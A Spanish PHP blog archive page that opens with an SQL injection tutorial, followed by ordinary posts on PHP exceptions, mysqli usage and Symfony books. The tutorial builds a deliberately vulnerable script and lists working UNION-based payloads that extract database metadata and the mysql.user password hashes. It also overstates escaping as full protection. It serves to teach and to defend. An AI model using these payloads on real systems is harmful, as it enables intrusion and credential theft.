Archivo

Archivo para la categoría ‘PHP’

Introducción a los ataques SQL Injection

Sábado, 10 de julio de 2010 11 comentarios

Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, así como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicación teórica sobre los ataques SQL Injection. Después un ejemplo práctico de como aprovecharse de esta vulnerabilidad para extraer información de la base de datos y por último veremos como podemos proteger nuestras aplicaciones de este tipo de ataques.

Teoría sobre los ataques SQL Injection

Los ataques SQL Injection explotan una vulnerabilidad en la validación de las entradas a la base de datos de una aplicación. Una inyección SQL consiste en inyectar un código SQL invasor dentro de otro código SQL para alterar su funcionamiento normal haciendo que se ejecute el código invasor en la base de datos.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Vamos a ver un ejemplo teórico para que quede claro como funcionan la mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta categoría pulsareis sobre el enlace y os mostrará las primeras entradas paginadas.

La URL del enlace podría ser algo así (es ficticia, no entreis):

http://www.miforoinventado.com/viewforum.php?cat=3

Internamente el desarrollador realizará una consulta a la tabla de entradas y seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta podría ser algo así:

$consulta = 'SELECT * FROM entrada
             WHERE entrada.id_categoria = '.$_GET['cat'].
            ' ORDER BY entrada.fecha ASC
             LIMIT 1,10';

Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad está presente en aquellas consultas que confían en los datos de entrada del usuario y como ya hemos dicho muchísimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado.

Ejemplo práctico de ataque SQL Injection

Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas:

1. Conectamos el servidor web Apache y el servidor MySQL.

2. Creamos una base de datos llamada inyeccion.

CREATE DATABASE inyeccion;

USE inyeccion;

3. Creamos una tabla usuario donde se almacenarán los nombres de usuario con las contraseñas de todos los usuarios que utilizen nuestra aplicación.

CREATE TABLE usuario
(
  id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  login VARCHAR(30) NOT NULL,
  password VARCHAR(50) NOT NULL,
  email VARCHAR(50) NOT NULL
);

4. Rellenamos la tabla con datos de prueba.

INSERT INTO usuario
VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');

5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le muestre al usuario la información que la aplicación dispone de él, es decir, su id, su login y su email.

<html>
<head>
  <title>SQL Injection</title>
</head>
<body>

  <form action="inyecciones.php" method="get">
     <label for="id">ID: </label>
     <input type="text" id="id" name="id" />
     <input type="submit" value="Iniciar" />
  </form>

<?php
if( isset($_GET['id']) )
{
  $id    = $_GET['id'];

  $mysqli = new mysqli('localhost', 'root', '');

  $mysqli->select_db('inyeccion');

  $consulta = 'SELECT * FROM usuario WHERE id='.$id;

  echo $consulta.'<br />';

  $resultado = $mysqli->query($consulta);

  $usuario = $resultado->fetch_row();
  echo 'DATOS DEL USUARIO: <br />';
  echo 'ID: '.$usuario[0].'<br />';
  echo 'LOGIN: '.$usuario[1].'<br />';
  echo 'EMAIL: '.$usuario[3].'<br />';

  $resultado->free();

  $mysqli->close();
}
?>
</body>
</html>

Como nosotros hemos sido los que hemos desarrollado el código de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del código y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection.

Antes de nada vamos a ver como funciona nuestro pequeño script accediendo a él desde el navegador:

Introducimos algunos datos de prueba:

Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:

Fijaros atentamente en la barra de dirección del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo también podríamos inyectar desde el formulario porque estamos utilizando el método GET de HTTP para pasar los datos al servidor.

http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:

Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es probar alguna inyección SQL básica para ver lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --

SELECT * FROM usuario WHERE id=1 and 1=1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

Como podemos observar hemos inyectado nuestro primer código SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todavía no sabríamos si la aplicación es vulnerable dado que sigue funcionando de la misma forma. Esto es así porque simplemente hemos añadido una condición a la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga después de la consulta.

Para comprobar si es vulnerable añadimos una condición que nunca se cumple y vemos que es lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --

SELECT * FROM usuario WHERE id=1 and 1=0 --
DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:

¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo sabíamos desde un principio. Vemos que al añadir una condición que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningún registro y no muestra ningún dato por pantalla.

Extrayendo datos:

Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el número de columnas que tiene la tabla usuario. Para poder saber el número de columnas vamos a jugar con la opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos ordenar los registros que seleccionamos por un número mayor de las columnas que tengamos la consulta no devolverá ningún registro dado que se producirá un error fatal y se abortará la ejecución del script.

http://localhost/pruebas/inyecciones.php?id=1 order by 1 --

SELECT * FROM usuario WHERE id=1 order by 1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 2 --

SELECT * FROM usuario WHERE id=1 order by 2 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 3 --

SELECT * FROM usuario WHERE id=1 order by 3 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 4 --

SELECT * FROM usuario WHERE id=1 order by 4 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 5 --

SELECT * FROM usuario WHERE id=1 order by 5 --

Fatal error: Call to a member function fetch_row() on a
non-object in C:wampwwwpruebasinyecciones.php on line 28

Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuración de PHP para que muestre los errores fatales que se producen.

Obteniendo información del servidor:

Antes de comenzar a extraer información del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script está programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o más consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos con UNION deben de utilizar el mismo número de columnas, por eso hemos extraído el número de columnas anteriormente.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4

SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4
DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4

Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve ningún dato porque no existe ningún usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta para extraer información del servidor MySQL.

Podemos utilizar algunas funciones para extraer información:
user(): Devuelve el usuario de la base de datos.
version(): Devuelve la versión del servidor MySQL.
database(): Devuelve el nombre de la base de datos actual.
current_user(): Devuelve el nombre de usuario y el del host para el que está autenticada la conexión.
last_insert_id(): Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT.
connection_id(): Devuelve el ID de una conexion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION  user(),database(),3,version()

SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log

Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, así que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. También tenemos el nombre de la base de datos, inyeccion, y además la versión MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podríamos empezar a hacer cosas interesantes, pero no va de eso este artículo.

Sigamos extrayendo informacion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()

SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44

Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contraseña para acceder remotamente al servidor y ya desde un entorno más sencillo, como una línea de comandos, obtener toda la información que queramos.

MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseñas en una tabla llamada users. Por lo tanto podemos obtener esta información inyectando una sentencia SQL:

http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user

SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:

Vemos que el usuario es root, el servidor está en localhost dado que está en mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio donde estuviera alojado el servidor, y por último que no tiene contraseña. ¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que crackear utilizando por ejemplo el John The Ripper.

Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la línea de comandos podemos seguir extrayendo información mediante inyecciones haciendo uso de las tablas mysql e information_schema.

Protegiendo nuestras aplicaciones de ataques SQL Injection:

Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los atacantes. Una de las mejores soluciones es utilizar la función mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el método real_escape_string() si utilizamos la versión orientada a objetos.

Podemos utilizar este método para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numéricos en vez de cadenas podemos comprobar que el dato de entrada es un número entero o es un número decimal, ya sea mediante las funciones is_int() o is_float() o realizando castings (int), (float).

Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:

$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=''.(int)$_GET['id'].''';

$consulta= 'SELECT *
FROM categoria
WHERE titulo=''.mysql_real_escape_string($_GET['titulo']).'';

De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL.

RESUMEN:

EN este artículo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.

Curso PHP. Capítulo 13: Control de excepciones.

Viernes, 9 de julio de 2010 4 comentarios

A partir de la versión 5, PHP incluye un mecanismo para controlar las excepciones con una sintaxis muy similar al mecanismo que incluye JAVA o C#. La principal diferencia con estos lenguajes es que las funciones nativas de la API de PHP no lanzan excepciones, al menos de momento.

PHP cuenta con dos tipos de excepciones predefinidas, Exception y ErrorException, y un conjunto de excepciones definidas en la SPL (standard PHP library).

Podemos lanzar excepciones manualmente utilizando la palabra clave throw:

throw new Exception('Mensaje');

El constructor de la clase Exception adopta una serie de parámetros opcionales, un mensaje y un código de error.

Para manejar las excepciones que lanzamos utilizamos la estructura de control try/catch. Todo el código que pueda lanzar una excepción debe incluirse dentro del bloque try ya que este bloque es el encargado de parar la ejecución del script y pasar el control al bloque catch cuando se produzca una excepción.

try
{

    // Codigo que puede lanzar excepciones

}
catch ( Exception $excepcion )
{

    // Codigo para controlar la excepcion

}

Puede haber más de un bloque catch asociado al mismo bloque try siempre que cada bloque catch espere capturar un tipo de excepción distinta. El objeto que se pasa al bloque catch es el objeto que se ha lanzado con la instrucción throw.

Vamos a ver un ejemplo para entender mejor el mecanismo de control de las excepciones:

<?php
try{
   throw new Exception('Se ha producido un error muy grave.');
}
catch(Exception $excepcion)
{
    echo $excepcion->getMessage();
}

echo 'El bloque catch no finaliza la ejecución total del script.';
?>

En este ejemplo lo que estamos haciendo es lanzar directamente una excepción de la clase Exception informando que se ha producido un error muy grave. Una vez lanzada la excepción, el bloque catch la captura y pasa a procesarla mostrando al usuario el mensaje que hemos utilizado en el constructor del objeto excepción. Para ello utilizamos el método getMessage(). La clase Exception cuenta con un conjunto de métodos que muestran información sobre la excepción que ha ocurrido:

getCode(): Devuelve el código tal cual se haya pasado al constructor. Si no pasamos ninguno por defecto devuelve el código de error cero.

getMessage(): Devuelve el mensaje tal cual se haya pasado al constructor. En nuestro caso devolvería la cadena ‘Se ha producido un error muy grave.’.

getFile(): Devuelve la ruta completa al archivo de código que haya lanzado la excepción.

getLine(): Devuelve el número de la línea del archivo de código en el que se ha producido la excepción.

getTrace(): Devuelve un array con la traza que indica dónde se ha producido la excepción.

getTraceAsString(): Devuelve la misma información que el anterior método pero con formato de cadena.

– También podemos utilizar el método mágico __toString() para customizar la información que mostramos sin imprimimos directamente el objeto excepción.

Cabe destacar que realmente no deberíamos mostrar está información al usuario en un entorno de producción debido que muestra información sensible de como está desarrollado nuestra aplicación. Una solución efectiva es mostrar siempre una plantilla de error básica que informe un poco del error ocurrido y darle la opción al usuario de volver al inicio o a la página anterior.

Podemos crear nuestras propias excepciones personalizadas si creamos una clase que herede de la clase base Exception, pero no podemos modificar el comportamiento de la mayoría de métodos ya que están declarados como finales. Para personalizar el mensaje de error podemos modificar el comportamiento del método mágico __toString(). Vamos a ver un ejemplo de excepción personalizada:

<?php

class MiExcepcionPersonalizada extends Exception
{

  function __toString()
  {
     return $this->getMessage();
  }

}

try{
   throw new MiExcepcionPersonalizada('Se ha producido un error muy grave.');
}
catch(MiExcepcionPersonalizada $excepcion)
{
   echo $excepcion;
}

?>

Como hemos visto podemos lanzar excepciones y manejarlas utilizando el mecanismo de control de excepciones de PHP. Importante destacar que de momento ninguna función nativa de PHP lanza por sí solas excepciones. Los errores comunes de PHP que se muestran en el navegador si tenemos las directivas de mostrar errores en on, no son mapeadas a expeciones automáticamente. No sé si en versiones posteriores de PHP los errores típicos que suprimimos con el operador @ podrán ser controlados de esta forma. Estaría genial que PHP se convirtiera con el tiempo en un lenguaje totalmente orientado a objetos.

Categories: PHP Tags: ,

Curso PHP. Capítulo 12: Interactuando con MySQL.

Viernes, 2 de julio de 2010 2 comentarios

Retomamos el curso de PHP con un nuevo capítulo donde veremos como interactuar con el sistema gestor de base de datos MySQL desde PHP. Para poder seguir este capítulo es recomendable haber leído los artículos dedicados a las sentencias SQL en MySQL.

Capítulo 1: Introducción

Capítulo 2: Sentencias SQL de definición de datos

Capítulo 3: Sentencias SQL de manipulación de datos

Si has llegado hasta aquí sin haber leído los capítulos del curso de MySQL tienes que saber que en ellos creamos una base de datos llamada blog con tres tablas para guardar los articulos, las categorías y los comentarios. Además insertamos una serie de datos de prueba que utilizaremos para los ejemplos de este capítulo.

Os adjunto el conjunto de sentencias SQL que crean la base de datos, las tablas y los datos de prueba. Lo guardais en un archivo con extensión .sql y tipeais el comando SOURCE en el monitor MySQL para ejecutar las sentencias SQL directamente desde el archivo.

CREATE DATABASE IF NOT EXISTS blog;

USE blog;

CREATE TABLE articulo
( id_articulo BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
id_categoria INT UNSIGNED NOT NULL,
titulo VARCHAR(250) NOT NULL,
contenido TEXT NOT NULL
);

CREATE TABLE comentario
( id_comentario INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
id_articulo BIGINT UNSIGNED NOT NULL ,
autor VARCHAR(250) NOT NULL,
contenido TEXT NOT NULL
);

CREATE TABLE categoria
( id_categoria INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
titulo VARCHAR(250) NOT NULL,
descripcion TEXT NOT NULL
);

INSERT INTO categoria (titulo, descripcion)
VALUES ('PHP','Categoría dedicada a PHP'),
('MySQL','Categoría dedicada a MySQL'),
('Javascript','Categoría dedicada a Javascript');

INSERT INTO articulo (id_categoria, titulo, contenido)
VALUES (1,'Curso PHP. Capítulo 1','Este es el contenido del capítulo 1.'),
(1,'Curso PHP. Capítulo 2','Este es el contenido del capítulo 2.'),
(1,'Curso PHP. Capítulo 3','Este es el contenido del capítulo 3.'),
(2,'Curso MySQL. Capítulo 1','Este es el contenido del capítulo 1.'),
(2,'Curso MySQL. Capítulo 2','Este es el contenido del capítulo 2.'),
(2,'Curso MySQL. Capítulo 3','Este es el contenido del capítulo 3.'),
(3,'Curso Javascript. Capítulo 1','Este es el contenido del capítulo 1.'),
(3,'Curso Javascript. Capítulo 2','Este es el contenido del capítulo 2.'),
(3,'Curso Javascript. Capítulo 3','Este es el contenido del capítulo 3.');

INSERT INTO comentario (id_articulo, autor, contenido)
VALUES (1,'Francisco Belmonte','Genial el primer capítulo del curso de PHP.'),
(1,'Estefania Martinez','Sí, me ha servido de mucho, gracias.'),
(3,'Francisco Belmonte','Gran capítulo tres, a la espera de más.'),
(3,'Estefania Martinez','Eso, que me he quedado con ganas de seguir aprendiendo.'),
(4,'Estefania Martinez','Genial, has comenzado uno de MySQL.'),
(6,'Estefania Martinez','Muchas gracias por la tercera entrega de MySQL.'),
(7,'Francisco Belmonte','Suerte con este nuevo curso de JavaScript.');

Ya tenemos la base de datos de prueba lista para interactuar con ella desde PHP. Vamos a ver en concreto la extensión mysqli orientada a objetos de PHP para interactuar con MySQL. En capitulos posteriores veremos PDO, la capa de abstracción de acceso a datos utilizada por PHP para interactuar con diferentes sistemas gestores de bases de datos.

Configurando una conexión

El primer paso para configurar una conexión a MySQL es instanciar un objeto de la clase mysqli. El constructor de la clase mysqli admite hasta cuatro parámetros: el host donde está alojado el servidor, el nombre del usuario que tiene permisos para acceder a la base de datos, la contraseña del usuario y el nombre de la base de datos que se va a utilizar.

En mi caso utilizaría la siguiente instrucción en PHP:

$mysqli = new mysqli('localhost', 'user', 'user123', 'blog');

Con todo esto le indicamos:

  1. Que quermos conectarnos al sevidor de forma local, también podría haberle pasado la dirección IP local ‘127.0.0.1’ como primer parámetro o la dirección IP del servidor si está alojado en otro ordenador, aunque lo normal es tenerlo instalado en el mismo ordenador que hace de servidor web.
  2. Que vamos a utilizar al usuario ‘user’ para accceder al servidor. Este usuario lo he añadido yo y tiene los privilegios mínimos necesarios para hacer un subconjuntos de consultas suficientes para lo que queremos hacer.
  3. Que la contraseña del usuario que vamos a utilizar para acceder a la base de datos es ‘user123′.
  4. Que la base de datos que vamos a utilizar es ‘blog’, la que construimos en los artículos dedicados a MySQL.

Una vez instanciado este objeto ya podemos empezar a interactuar con la base de datos, pero si necesitamos utilizar otro servidor o otra base de datos podemos utilizar los métodos connect() y select_db() del objeto mysqli.

También podemos utilizar estos métodos para instanciar por primera vez el objeto mysqli de la siguiente forma:

$mysqli = new mysqli();
$mysqli->connect('localhost', 'user', 'user123', 'blog');

Instanciamos la clase mysqli con el constructor vacío y utilizamos el método connect() que acepta los mismos parámetros que el constructor de la clase.

Incluso podemos hacerlo de la siguiente forma:

$mysqli = new mysqli('localhost', 'user', 'user123');
$mysqli->select_db('blog');

Instanciamos la clase mysqli pasándole los tres primeros parámetros y después seleccionamos la base de datos con el método select_db().

Como vemos tenemos varias formas de configurar la conexión al servidor MySQL. A partir de aquí ya podemos realizar consultas al servidor.

Cuando finaliza el script las conexiones al servidor se cierran automáticamente pero también podemos utilizar el método close() para cerrar la conexión de la siguiente forma:

$mysqli->close();
Errores al conectar:

Antes de enviar cualquier consulta al servidor a través del objeto mysqli es conveniente comprobar que la conexión se ha establecido satisfactoriamente. Para ello la clase mysqli cuenta con dos propiedades, connect_errno y connect_error que devuelven el código de error de la última llamada de conexión y una cadena descriptiva del último error de conexión respectivamente. Si no se ha producido ningún error la propiedad connect_errno devuelve el valor cero.

if($mysqli->connect_errno)
{
   die('Error al conectar: ' . $mysqli->connect_error);
}

Obviamente mostrar la cadena descriptiva del error producido al usuario no es lo más conveniente, lo mejor sería redireccionar a una página de error especialmente preparada para este tipo de ocasiones.

Definiendo la información del servidor en un archivo separado

Otro factor importante a tener en cuenta es que pueden haber cambios en la configuración del servidor, se puede cambiar el usuario o la contraseña si el servidor ha sido comprometido o cambiar el nombre de la base de datos. Si definimos una serie de constantes en un archivo separado no tendremos que buscar por todos los scripts las diferentes configuraciones al servidor para modificarlas una a una.

Podemos por ejemplo definir una serie de constantes en un archivo separado:

define('MYSQL_HOST','localhost');
define('MYSQL_USER','user');
define('MYSQL_PASS','user123');
define('MYSQL_DB','blog');

Cada vez que queramos configurar una conexión utilizaremos esas constantes siempre que hayamos incluido antes el archivo con la información:

$mysqli = new mysqli(MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB);

Enviando consultas a la base de datos

Podemos enviar consultas a la base de datos a través del método query() que toma como parámetro un string con la sentencias SQL que se desea ejecutar en la base de datos. Importante destacar que si la consulta utiliza datos de entrada del usuario hay que filtrarlos para evitar ataques SQL-Injection. En este capítulo no vamos a entrar mucho en detalle de como filtrar los datos satisfactoriamente ya que estoy escribiendo un artículo dedicado exclusivamente a las inyecciones SQL.

El método query() devuelve:

  • FALSE si falla la consulta a la base de datos.
  • Un objeto de la clase mysqli_result si devuelve resultados, por ejemplo, en una sentencia SELECT.
  • TRUE si la sentencia no falla y no se devuelve resultados, por ejemplo, en una sentencia INSERT.
$consulta = 'SELECT * FROM categoria ORDER BY titulo ASC';
$resultado = $mysqli->query($consulta);

Accediendo a los resultados de la consulta

Una vez ejecutada la consulta podemos acceder a los datos devueltos por el servidor a través del objeto de la clase mysqli_result que cuenta con una serie de métodos para extraer las filas del resultado.

Lo primero que podemos hacer es consultar el número de filas que ha devuelto el resultado de nuestra consulta SELECT a través de la propiedad num_rows del objeto resultado. Si hubieramos ejecutado una sentencia INSERT, UPDATE o DELETE podríamos acceder al número de columnas afectadas a través de la propiedad affected_rows.

$num_resultados = $resultado->num_rows;

De esta forma podemos obtener las filas del resultado en un bucle:

for( $i=0; $i<$num_resultados; $i++ )
{
     //obtenemos las filas del resultado
}

Para obtener cada fila o registro del resultado de la consulta contamos con una serie de métodos:

  1. El método fetch_object() que devuelve la fila actual del resultado en forma de objeto.
  2. El método fetch_row() que devuelve la fila actual del resultado como una matriz de índice numérico.
  3. El método fecth_assoc() que devuelve la fila actual del resultado como una matriz asociativa.

Vamos a ver un ejemplo de como utilizar cada método, para ello mostraremos al usuario todas las filas del resultado que hemos obtenido al ejecutar la sentencia SELECT anterior.

Utilizando el método fetch_object():
for( $i=0; $i<$num_resultados; $i++ )
{
   $fila        = $resultado->fetch_object();
   $id          = $fila->id_categoria;
   $titulo      = $fila->titulo;
   $descripcion = $fila->descripcion;
   echo 'ID_CATEGORIA: '.$id.'<br />';
   echo 'TITULO: '.$titulo.'<br />';
   echo 'DESCRIPCION: '.$descripcion.'<br />';
   echo '<br />';
}

El método fetch_object() nos devuelve un objeto que tiene una serie de propiedades que se llaman igual que el nombre de las columnas de la tabla y cuyo valor es el valor de la columna de la fila actual del resultado.

Utilizando el método fetch_row():
for( $i=0; $i<$num_resultados; $i++ )
{
   $fila        = $resultado->fetch_row();
   $id          = $fila[0];
   $titulo      = $fila[1];
   $descripcion = $fila[2];
   echo 'ID_CATEGORIA: '.$id.'<br />';
   echo 'TITULO: '.$titulo.'<br />';
   echo 'DESCRIPCION: '.$descripcion.'<br />';
   echo '<br />';
}

El método fetch_row() nos devuelve una matriz de índice numérico con el valor de las columnas de la fila actual del resultado.

Utilizando el método fetch_assoc():
for( $i=0; $i<$num_resultados; $i++ )
{
   $fila        = $resultado->fetch_assoc();
   $id          = $fila['id_categoria'];
   $titulo      = $fila['titulo'];
   $descripcion = $fila['descripcion'];
   echo 'ID_CATEGORIA: '.$id.'<br />';
   echo 'TITULO: '.$titulo.'<br />';
   echo 'DESCRIPCION: '.$descripcion.'<br />';
   echo '<br />';
}

El método fetch_assoc() nos devuelve una matriz asociativa que utiliza como claves los nombres de las columnas de la tabla y cuyo valor es el valor de la columna de la fila actual del resultado. Tambien tenemos el método fetch_all() que acepta un parámetro que puede ser:

  • MYSQLI_ASSOC: Si solo queremos que devuelva una matriz asociativa.
  • MYSQLI_NUM: Si solo queremos que devuelva una matriz con índices numéricos.
  • MYSQLI_BOTH: Si queremos que devuelva una matriz asociativa a la que también se pueda acceder por índices numéricos.

Liberando la memoria del resultado

Es conveniente liberar la memoria que está utilizando el objeto resultado una vez que no vayamos a trabajar más con él. Para ello podemos utilizar el método free() del objeto resultado.

$resultado->free();

A partir de aquí ya no podemos acceder a las filas del resultado dado que hemos liberado la memoria que utilizaba.

RESUMEN

Ya hemos visto los principales métodos para conectarse al servidor MySQL, envíar consultas y acceder a los resultados. Queda pendiente el artículo sobre inyecciones SQL y como protegerse de ellas. No vamos a entrar en detalle sobre el uso de consultas preparadas, una nueva funcionalidad en la nueva extensión mysqli, pero podeis informaros en el manual de referencia oficial de PHP.

La curva de desarrollo que yo seguí una vez tenía conocimientos básicos de PHP fue la siguiente:

  1. Empezé programando pequeños scripts para aprender lo básico.
  2. Después practicaba mientras creaba una aplicación similar al fotolog, pero utilizando muchos includes y la programación estructurada, entremezclando código de la lógica de negocios con la presentación.
  3. Después fui mejorandola cambiando algunas cosas por objetos y utilizando la arquitectura modelo-vista-controlador para no estar todo el rato entremezclando código..
  4. Cansado de hacer las cosas poco eficientes empezé a investigar sobre frameworks de desarrollo en PHP y encontré Symfony, me enamoré de él nada más estudiarlo un poco. Descubrí el uso de los ORM y fue una maravilla en comparación a utilizar consultas relacionales.

Y es que el mundo del desarrollo de aplicaciones engloba muchas tecnologías y tienes que aprender a dominarlas todas, no solo te sirve PHP, tienes que aprender a rezalizar buenos marcados de contenido con XHTML, buenas presentaciones en css, añadir funcionalides interactivas en el lado del cliente con JavaScript, técnicas de accesibilidad, etc.

Un mundo enorme por explorar.

Categories: MySQL, PHP Tags: ,

Recomendando libros: Symfony

Lunes, 21 de junio de 2010 Sin comentarios

Seguimos recomendando libros, en este caso, vamos a ver una serie de libros que tratan sobre este framework PHP de desarrollo de aplicaciones webs dinámicas orientadas a objetos siguiendo una arquitectura modelo-vista-controlador.

Cuando uno se inicia en PHP suele seguir un enfoque procedimental, es decir, los scripts hacen uso de un conjunto de funciones organizadas en ficheros a las que va llamando mediante includes, ya sean para mostrar formularios o para conectarse a una base de datos. Además en la mayoría de ocasiones te encuentras con un código que entremezcla PHP con HTML muy difícil de mantener y de realizar cambios.

Symfony establece un marco de trabajo para desarrollar aplicaciones webs dinámicas siguiendo un enfoque orientado a objetos, además separa la lógica de las páginas de la lógica de negocios y la vista. De esta forma estructuramos nuestras aplicaciones de una manera organizada y más facil de mantener y de realizar modificaciones.

Descubrí este framework gracias a la colección de libros que tanto me ayudo en mis inicios al mundo del desarrollo web.  Una colección de libros traducidos por Javier Eguíluz que podeis encontrar en www.librosweb.es.

– Symfony: la guía definitiva 1.2

Actualmente la última versión estable de symfony es la 1.4.5 pero este libro traducido por Javier Eguíluz sigue sirviendo para iniciarse en el mundo de symfony. El libro es una traducción del libro original escrito por el creador del framework, Fabien Potencier, y la verdad es que te quedas maravillado al ver la potencia que tiene este framework.

– Jobeet, symfony en la práctica.

Este libro está enfocado en la creación de un ejemplo de desarrollo utilizando el framework symfony. Podeis seguir los capítulos para crear paso a paso una aplicación de gestión de ofertas trabajos del estilo infojobs. Recomiendo su lectura despues de estudiarse el anterior libro. De esta forma puedes aclarar más los conocimientos que has ido adquiriendo desarrollando una aplicación totalmente funcional.

– Los formularios de symfony.

Este libro está dedicado exclusivamente al tratamiento de los formularios con symfony.

– Más con symfony.

